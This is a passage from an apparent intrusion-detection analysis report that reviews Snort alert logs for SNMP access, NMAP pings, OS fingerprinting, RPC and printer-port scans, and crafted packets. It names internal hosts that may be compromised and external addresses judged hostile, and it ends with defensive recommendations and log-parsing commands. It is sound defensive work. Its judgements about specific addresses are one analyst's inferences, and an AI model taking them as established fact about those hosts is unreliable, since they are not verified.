SnortA34.txt:01/11-17:52:07.771329  [**] SNMP public access [**] 128.183.38.30:1032 ->
MY.NET.154.26:161
SnortA34.txt:01/11-18:02:07.816540  [**] SNMP public access [**] 128.183.38.30:1032 ->
MY.NET.154.26:161
SnortA34.txt:01/11-18:12:07.868642  [**] SNMP public access [**] 128.183.38.30:1032 ->
MY.NET.154.26:161
```

I consider 128.46.156.231 as hostile address. I will monitor every activity coming from 128.46.*.* network. There are three internal machines that have been accessed from this external address. They are " MY.NET.100.143 ", " MY.NET.100.206 ", and " MY.NET.100.99 ". I will give a recommendation to take a closer look at those machines and determine whether or not they have been compromised.

The second address coming from NASA should be considered friendly address. There is a high probability that this machine coming from NASA have been compromised and was used by the attacker to cover a further attack against GIAC. NASA should be noted about this activity.

NMAP TCP ping
47 sources, 156 destinations

45,6 % (255 HTTP alerts / 558 total alerts) of this attack was using port 80 as the source port. Almost every packet filtering devices would allow HTTP traffics. Any packet-filtering device that allow or deny HTTP packet based on port number, will not block this attack. The most effective way to block this attacks is not to allow any ICMP packet either coming from the outside or inside to pass. This will block the reply packet so that an Attacker will have no idea whether the attack was successful or not.

46 % (262 "MY.NET.70.38" alerts / 558 total alerts) of this attack was launched from an internal machine MY.NET.70.38 using source port 52342. This machine is scanning MY.NET.0.* network to find out every live hosts in this network.

I try to find more traces from MY.NET.70.38, so I search the OOS* files, and came up with an evidence of packet crafting activity coming from this machine.

```
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
01/04-12:33:02.700945 MY.NET.70.38:52576 -> 203.202.20.66:88
TCP TTL:42 TOS:0x0 ID:63272
```

```
**SF*P*U Seq: 0xAEF17506   Ack: 0x0   Win: 0x1000
TCP Options => WS: 10 NOP MSS: 265 TS: 1061109567 0 EOL EOL

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
```

If the administrator of this machine had never done such scanning activity, MY.NET.70.38 should be considered compromised.

Fingerprinted Systems
77 destinations

When an Attacker know the type and version of operating system used on a target machine, It will be much easier to find an exploit to use against this target machine. Operating system fingerprinting usually done with queso or NMAP. These systems listed below are from Queso & NMAP fingerprint alerts, and should be monitored closely for any signs of further attack.

MY.NET.98.98 MY.NE	MY.NET.224.78 MY.NE	MY.NET.207.230
MY.NET.98.60 MY.NE	MY.NET.224.242 MY.NE	MY.NET.206.122
MY.NET.98.211 MY.NE	MY.NET.223.226 MY.NE	MY.NET.205.214
MY.NET.98.185 MY.NE	MY.NET.223.2 MY.NE	MY.NET.204.38
MY.NET.98.156 MY.NE	MY.NET.222.218 MY.NE	MY.NET.204.26
MY.NET.98.154 MY.NE	MY.NET.221.78 MY.NE	MY.NET.203.66
MY.NET.98.147 MY.NE	MY.NET.221.138 MY.NE	MY.NET.202.46
MY.NET.97.54 MY.NE	MY.NET.220.102 MY.NE	MY.NET.202.26
MY.NET.97.243 MY.NE	MY.NET.219.210 MY.NE	MY.NET.202.170
MY.NET.97.234 MY.NE	MY.NET.219.150 MY.NE	MY.NET.201.78
MY.NET.97.215 MY.NE	MY.NET.219.114 MY.NE	MY.NET.201.74
MY.NET.97.111 MY.NE	MY.NET.218.226 MY.NE	MY.NET.201.66
MY.NET.70.119 MY.NE	MY.NET.218.202 MY.NE	MY.NET.201.62
MY.NET.60.8 MY.NE	MY.NET.217.90 MY.NE	MY.NET.201.42
MY.NET.60.38 MY.NE	MY.NET.217.242 MY.NE	MY.NET.201.222
MY.NET.60.16 MY.NE	MY.NET.217.158 MY.NE	MY.NET.201.130
MY.NET.60.11 MY.NE	MY.NET.217.146 MY.NE	MY.NET.201.126
MY.NET.53.29 MY.NE	MY.NET.215.74 MY.NE	MY.NET.180.26
MY.NET.53.184 MY.NE	MY.NET.214.82 MY.NE	MY.NET.179.78
MY.NET.53.108 MY.NE	MY.NET.214.78 MY.NE	MY.NET.145.9
MY.NET.253.53 MY.NE	MY.NET.213.158 MY.NE	MY.NET.145.189
MY.NET.253.43 MY.NE	MY.NET.212.214 MY.NE	MY.NET.105.120
MY.NET.253.42 MY.NE	MY.NET.211.202 MY.NE	MY.NET.100.230
MY.NET.253.41 MY.NE	MY.NET.210.6 MY.NE	MY.NET.1.6
MY.NET.227.194 MY.NE	MY.NET.209.78 MY.NE	MY.NET.225.238
MY.NET.225.94 MY.NE	MY.NET.208.114	

SnortA10.txt:12/04-04:37:22.062458 [**] Queso fingerprint [**] 193.159.140.17:17422 -> MY.NET.205.214:6346
SnortA10.txt:12/04-06:58:09.034841 [**] Queso fingerprint [**] 193.159.140.17:18958 -> MY.NET.221.78:6346
SnortA16.txt:01/02-22:15:23.163549 [**] Probable NMAP fingerprint attempt [**] 24.113.198.51:0 -> MY.NET.217.146:2728
SnortA45.txt:01/07-02:38:26.199268 [**] Probable NMAP fingerprint attempt [**] 211.109.37.120:109 -> MY.NET.98.154:9578
SnortA47.txt:01/06-08:37:18.453399 [**] Probable NMAP fingerprint attempt [**] 153.19.144.207:1065 -> MY.NET.201.222:1878

SUNRPC high port access!
25 sources, 19 destinations

There are several false positives on this alert. The traces are shown below:

```
11/28-06:33:10.939778  [**] SUNRPC high port access![**]216.148.218.160:443 -
> MY.NET.206.222:32771
12/15-04:44:44.944459  [**] SUNRPC highport access! [**]
```

```
216.148.218.160:443 -> MY.NET.213.158:32771
12/23-20:59:11.702742  [**] SUNRPC highport access! [**] 213.188.15.246:21 -
> MY.NET.97.100:32771
01/05-11:19:08.063764  [**] SUNRPC highport access! [**] 128.169.50.34:21 -
> MY.NET.5.11:32771
01/05-11:19:08.068073  [**] SUNRPC highport access! [**] 128.169.50.34:21 -
> MY.NET.5.11:32771
01/05-11:19:08.158010  [**] SUNRPC highport access! [**] 128.169.50.34:21 -
> MY.NET.5.11:32771
01/05-11:19:08.323482  [**] SUNRPC highport access! [**] 128.169.50.34:21 -
> MY.NET.5.11:32771
01/05-11:19:16.210572  [**] SUNRPC highport access! [**] 128.169.50.34:21 -
> MY.NET.5.11:32771
12/13-03:41:03.439255  [**] SUNRPC highport access! [**] 209.39.89.55:25 -> MY.NET.6.47:32771
```

It seemed that MY.NET.5.11, MY.NET.6.47, and MY.NET.206.22 were accessing a port at the external address using an ephemeral port number 32771. The reply coming to those machines then generated an alert, because they have a destination port number 32771 that is usually used for RPC services. I trace the external host address from the above false positives traces and found that they are consider friendly address with the appropriate listening port where MY.NET.5.11, MY.NET.6.47, and MY.NET.206.22 wanted to accessed.

The most active source IP, 205.188.153.139, constantly used port 9898 to connect to the SUN RPC port 32771. As mentioned before, access to this port should be very restricted.

The top ten most active source address

Source Address	**Frequency # Of connections**
205.188.153.139	91
24.180.202.45	35
64.4.13.74	19
206.196.168.157	7
216.99.200.242	6
152.163.241.88	6
24.7.177.100	5
216.10.12.30	5
128.169.50.34	5
216.10.14.143	4

Connect to 515 from inside
10 sources, 98 destinations

It seemed that host MY.NET.70.38 has been compromised. This machine was trying to make a connection to any listening line printer services to many hosts in MY.NET.0 internal network on port 515. It seemed that this host is scanning the MY.NET.0 network for port 515.The administrator should be warned for this behavior.

```
SnortA48.txt:01/18-14:28:22.472974  [**] connect to 515 from inside [**] MY.NET.70.38:3426 ->
MY.NET.0.1:515
SnortA48.txt:01/18-14:28:24.123071  [**] connect to 515 from inside [**] MY.NET.70.38:3430 ->
```

```
MY.NET.0.1:515
SnortA48.txt:01/18-14:28:24.942788  [**] connect to 515 from inside [**] MY.NET.70.38:3432 ->
MY.NET.0.1:515
SnortA48.txt:01/18-14:30:41.982934  [**] connect to 515 from inside [**] MY.NET.70.38:3466 ->
MY.NET.0.4:515
SnortA48.txt:01/18-14:30:51.212661  [**] connect to 515 from inside [**] MY.NET.70.38:3471 ->
MY.NET.0.4:515
SnortA48.txt:01/18-14:32:10.030388  [**] connect to 515 from inside [**] MY.NET.70.38:3477 ->
MY.NET.0.5:515
SnortA48.txt:01/18-14:33:40.322959  [**] connect to 515 from inside [**] MY.NET.70.38:3503 ->
MY.NET.0.6:515
SnortA48.txt:01/18-14:34:53.859927  [**] connect to 515 from inside [**] MY.NET.70.38:3518 ->
MY.NET.0.7:515
SnortA48.txt:01/18-14:36:21.961442  [**] connect to 515 from inside [**] MY.NET.70.38:3533 ->
MY.NET.0.8:515
SnortA48.txt:01/18-14:39:10.810417  [**] connect to 515 from inside [**] MY.NET.70.38:3569 ->
MY.NET.0.10:515
SnortA48.txt:01/18-14:39:19.898736  [**] connect to 515 from inside [**] MY.NET.70.38:3575 ->
MY.NET.0.10:515
SnortA48.txt:01/18-14:41:45.187588  [**] connect to 515 from inside [**] MY.NET.70.38:3603 ->
MY.NET.0.12:515
SnortA48.txt:01/18-14:43:20.386433  [**] connect to 515 from inside [**] MY.NET.70.38:3617 ->
MY.NET.0.13:515
SnortA48.txt:01/18-14:43:23.386795  [**] connect to 515 from inside [**] MY.NET.70.38:3617 ->
MY.NET.0.13:515
SnortA48.txt:01/18-14:49:15.013949  [**] connect to 515 from inside [**] MY.NET.70.38:3666 ->
MY.NET.0.15:515
```

There were several hosts from the internal network trying to make a connection to an external address at 515 ports. This is a strange activity. Why would an internal hosts access a 515 port on external hosts? These activities are coming from MY.NET.219.122, MY.NET.60.16, MY.NET.253.12, MY.NET.179.78, MY.NET.219.194, MY.NET.163.17, MY.NET.98.151, MY.NET.70.38, MY.NET.60.38, and MY.NET.99.244. Some of the destinations are going to United States and Netherlands. The administrator should be noticed about this, watch the activity coming from the above hosts, and check those hosts whether or not any of them have been compromised.

TCP SMTP Source Port traffic
5 sources, 88 destinations

From the 5 sources address found, it seemed that only one address is running a SMTP daemon. This traffic is a normal traffic only if the source address is running a SMTP daemon too. I try to telnet to 165.112.79.25 on port 25, and I got this banner below:

220 vismed.nida.nih.gov AppleShare IP Mail Server 6.0 SMTP Server Ready

165.112.79.25 address is running a SMTP daemon, so I think all the SMTP Source port traffic alert coming from this address is a normal activity.

```
SnortA19.txt:01/03-16:35:10.148560  [**] TCP SMTP Source Port traffic [**] 165.112.79.25:25 -> MY.NET.253.42:25
SnortA19.txt:01/03-16:35:10.627013  [**] TCP SMTP Source Port traffic [**] 165.112.79.25:25 -> MY.NET.253.42:25
SnortA19.txt:01/03-16:35:13.611045  [**] TCP SMTP Source Port traffic [**] 165.112.79.25:25 -> MY.NET.253.42:25
SnortA19.txt:01/03-16:35:13.663130  [**] TCP SMTP Source Port traffic [**] 165.112.79.25:25 -> MY.NET.253.42:25
SnortA19.txt:01/03-16:35:13.727759  [**] TCP SMTP Source Port traffic [**] 165.112.79.25:25 -> MY.NET.253.42:25
SnortA19.txt:01/03-16:35:13.729018  [**] TCP SMTP Source Port traffic [**] 165.112.79.25:25 -> MY.NET.253.42:25
SnortA19.txt:01/03-16:35:13.800352  [**] TCP SMTP Source Port traffic [**] 165.112.79.25:25 -> MY.NET.253.42:25
SnortA19.txt:01/03-16:35:13.801567  [**] TCP SMTP Source Port traffic [**] 165.112.79.25:25 -> MY.NET.253.42:25
SnortA19.txt:01/03-16:35:13.902260  [**] TCP SMTP Source Port traffic [**] 165.112.79.25:25 -> MY.NET.253.42:25
SnortA19.txt:01/03-16:35:13.942981  [**] TCP SMTP Source Port traffic [**] 165.112.79.25:25 -> MY.NET.253.42:25
SnortA19.txt:01/03-16:35:13.960738  [**] TCP SMTP Source Port traffic [**] 165.112.79.25:25 -> MY.NET.253.42:25
```

The most frequent was 84 connections coming from 63.11.25.117 to MY.NET.140 network. The other four sources addresses are considered hostile addresses because they don't have any SMTP daemon running on their hosts. This might be an evidence of packet crafting activity. This kind of activity usually used to bypass any filtering rules that permit any traffic coming from a SMTP server, which has a source port of 25.

These four addresses are:	64.161.240.254
	213.74.161.214
	63.11.25.117
	206.132.27.156

Three of them are coming from United States, and one of them is coming from Turkey. I will look closely for traffics coming from these four addresses.

Possible Compromised Systems:

MY.NET.70.38. This machine has been detected involved in three malicious activities, which can be the sign of compromised system. These three malicious activities consist of scanning almost half of the entire MY.NET.0 network using NMAP TCP ping and scanning for any listening port 515 against almost half of the entire MY.NET.0 network. The last one was scanning an external address with TCP SYN and FIN flag set. This was an evidence of packet crafting activity and will not occur in a normal traffic.

```
SnortA48.txt:01/18-14:27:56.251483  [**] NMAP TCP ping! [**] MY.NET.70.38:52342 -> MY.NET.0.0:37558
SnortA48.txt:01/18-14:28:04.964171  [**] NMAP TCP ping! [**] MY.NET.70.38:52342 -> MY.NET.0.0:40997
SnortA48.txt:01/18-14:28:22.472974  [**] connect to 515 from inside [**] MY.NET.70.38:3426 -> MY.NET.0.1:515
SnortA48.txt:01/18-14:28:24.123071  [**] connect to 515 from inside [**] MY.NET.70.38:3430 -> MY.NET.0.1:515
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
01/04-12:33:02.700945 MY.NET.70.38:52576 -> 203.202.20.66:88
TCP TTL:42 TOS:0x0 ID:63272
**SF*P*U Seq: 0xAEF17506   Ack: 0x0   Win: 0x1000
TCP Options => WS: 10 NOP MSS: 265 TS: 1061109567 0 EOL EOL
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
```

MY.NET.219.122. This machine was involved in tiny fragment activities to an external address. This is an evidence of packet crafting activity from the internal network. This could be the sign of compromised system.

```
11/29-23:16:56.415641  [**] Tiny Fragments - Possible Hostile Activity [**] MY.NET.219.122 -> 208.162.62.208
11/29-23:17:31.850346  [**] Tiny Fragments - Possible Hostile Activity [**] MY.NET.219.122 -> 208.162.62.208
11/29-23:17:37.864468  [**] Tiny Fragments - Possible Hostile Activity [**] MY.NET.219.122 -> 208.162.62.208
```

MY.NET.217.150. I search through the OOS files, and find out that this machine was involved in a SYN-FIN scanning activity, which are the evidence of packet crafting activity. This could be the sign of compromised system.

```
01/15-00:01:39.937144 MY.NET.217.150:2340 -> 169.232.76.231:2325
TCP TTL:126 TOS:0x0 ID:58005  DF
2*SF*PA* Seq: 0x400E99E   Ack: 0xF60933   Win: 0x5010
TCP Options => EOL EOL
00 20                                        .
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=
01/15-00:01:41.993693 MY.NET.217.150:0 -> 142.104.195.55:2340
TCP TTL:126 TOS:0x0 ID:42904  DF
2*SF*PA* Seq: 0x43A02D4   Ack: 0x90E80004   Win: 0x5010
00 00 30 E0 04 29 68 4D B8 94 45 61 0B 9C        ..0..)hM..Ea..
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=
```

MY.NET.217.158. The traces from OOS files below doesn't occur in a normal TCP traffic. I seemed that this was generated using packet-crafting tool. This could be the sign of compromised system.

```
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=
01/12-00:06:16.850634 MY.NET.217.158:38 -> 151.202.181.55:2340
TCP TTL:126 TOS:0x0 ID:48001  DF
**SFRP*U Seq: 0x4C0019E   Ack: 0x6D45000E   Win: 0x5010
3E 2F 50 10 FD E0 BE 09 00 00 3B 4C 8D 9B 1F 89  >/P.......;L....
43 84 8A 10 92 F4                                C.....
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=
01/12-00:18:24.230849 MY.NET.217.158:2671 -> 216.200.247.42:20
TCP TTL:126 TOS:0x0 ID:218  DF
```

```
2*SFRP** Seq: 0x13F8928   Ack: 0x32D509   Win: 0x5010
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=
```

MY.NET.219.126. This machine was involved in packet-crafting activity too. This might indicate a compromised system.

```
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=
01/09-00:03:59.045071 MY.NET.219.126:0 -> 128.61.47.108:2340
TCP TTL:126 TOS:0x0 ID:55651  DF
21SF*P** Seq: 0x5A703E8   Ack: 0xCA050058   Win: 0x5010
TCP Options => EOL EOL
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=
01/09-00:06:22.834779 MY.NET.219.126:0 -> 128.61.47.108:2340
TCP TTL:126 TOS:0x0 ID:56366  DF
21SF*P** Seq: 0x5A70544   Ack: 0x15D10058   Win: 0x5010
TCP Options => EOL EOL
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=
```

Defensive recommendations:

1. The default public community string that is currently used inside your network should be changed to an uncommon string and access list should be applied to you border router / firewall to deny any traffic coming from the external address to SNMP ports (161 & 162) inside your network.

2. Make sure that your antivirus software always updated, to prevent any virus attack.

3. A Telnet session was detected coming from the Watchlist address. If you would allow telnet connection from the external address to your internal machine, specifying the range of your internal addresses that are permitted to have incoming telnet sessions, will increase your network security as well.

4. Most of the SUN RPC alerts are aiming at port 32771 and 111. These two ports should be blocked as well on your border router/firewall. If you don't need portmap service (111), disable this services will increase your network security as well. The other recommendation is install tcp_wrappers or ipchains on your host that has a portmap service enabled.

5. Your internal machines that has been acting as mail server to network 159.226.*.* should be checked, whether the connections are allowed to or not. If the connections are not allowed to, you should block all the 159.226.*.* network on your border router/firewall. But if the connections are allowed to, I will recommend to apply an access list on your border router/firewall to specifically determine any external host that are allowed to access your mail server.

Summary:

Almost half of all the attack alerts were probing attempts consist of various scanning technique from SYN scan, SYN-FIN scan, XMAS scan, NULL scan, etc. It is very imperative not to let such attempts go through your border router or firewall or any filtering device currently in use. Because this kind of attack will always be the first step of any attack technique currently exist. Once the attacker gets more information regarding the target machine through this probing attempt, he or she will be able to determine an appropriate attack technique that might compromise the target system. I will recommend to revises your current filtering rules or upgrade your current filtering device/firewall. The bottom line is, such attack should not get through your internal network. Port 6688, 53, 6699, and 21 have been a hot scanning target.

21 % of the attacks alerts are generated by traffic coming from Israel address Watchlist. Some of your internal machines have generated abnormal traffics that might indicate a compromised system. The wu-ftpd, STATDX, and Happy99 virus attacks might have compromised several of your hosts. Some addresses coming from china were using several of your mail server machines. Besides that your internal networked device still using the default "public" string for SNMP, there are two external addresses were accessing your SNMP port, which should not be accessed from the outside. Napster, DNS, and ftp have been a hot alerting target as well.

First step:

After downloading the data from SANS web page, I uncompressed it to three separated directories based on the files type. SnortA* files in a directory named “alert“, SnortS* files in a directory named “scan”, and OOS files in a directory named “oos”.

Second step:

Then in each directory, I use the following command to put all the data into a single file.

```
[root@localhost alert]#grep –e “[**]” *.txt > alertall.txt
[root@localhost scan]#grep –e “->” *.txt > scanall.txt
[root@localhost oos]#cat *.txt > oosall.txt
```

I only use oosall.txt file to find more information/payload on any suspicious address.

Third step – snort scan files:

I then use the following command to separate the scanall.txt files to get the destination address, destination port, source address, and source port all in one line.

```
awk ‘{print $4,$5,$6}’ scanall.txt | sed ‘s/:/  /g’ > scanall-filter.txt
```

Then to create the top talker’s list for snort scan files, I use the following command:

```
awk ‘{print $1}’ scanall-filterall.txt | sort | uniq –c | sort –r > result_src_addr
awk ‘{print $4}’ scanall-filterall.txt | sort | uniq -c  | sort -r > result_dst_addr
awk ‘{print $5}’ scanall-filterall.txt | sort | uniq –c | sort -r >  result_dst_port
```

Fourth step – snort alerts files:

I separate the alertall.txt file into several files based on the alert names. For example:

```
grep NET-NCFC alertall.txt > NET-NCFC.txt
```

Then I make 4 sets of files for each of the alerts file like NET-NCFC.txt, BACK-ORIFICE.txt, ISDN-NET.txt, etc. for each of these alerts files, I put them in a separated directory. The First file consists of “data_src_addr” for all the source address, “data_src_port” for all the source port, “data_dst_addr” for all the destination address, and “data_dst_port” for all the destination ports. For this set of files, I use the following command:

```
awk ‘{print $1}’ NET-NCFC.txt > data_src_addr
awk ‘{print $2}’ NET-NCFC.txt > data_src_port
awk ‘{print $4}’ NET-NCFC.txt > data_dst_addr
awk ‘{print $5}’ NET-NCFC.txt > data_dst_port
```

For example to create the destination port top talker's list from snort alerts files, first I copy all the data_dst_port form each alerts directories into a single file using the following command:

```
[root@localhost NET-NCFC]#cat data_dst_port >> total-data_dst_port
[root@localhost ISDN-NET]#cat data_dst_port >> total-data_dst_port
[root@localhost B-ORIFICE]#cat data_dst_port >> total-data_dst_port
......
```

Then I use the following command to count the number of occurrences:

```
cat total-data_dst_port | sort | uniq –c > top-talker-dst_port.txt
```

To list the port with number of occurrences more than 10000, I use this following command:

```
awk '$1 > 10000 ' top-talker-dst_port.txt | sort –r
```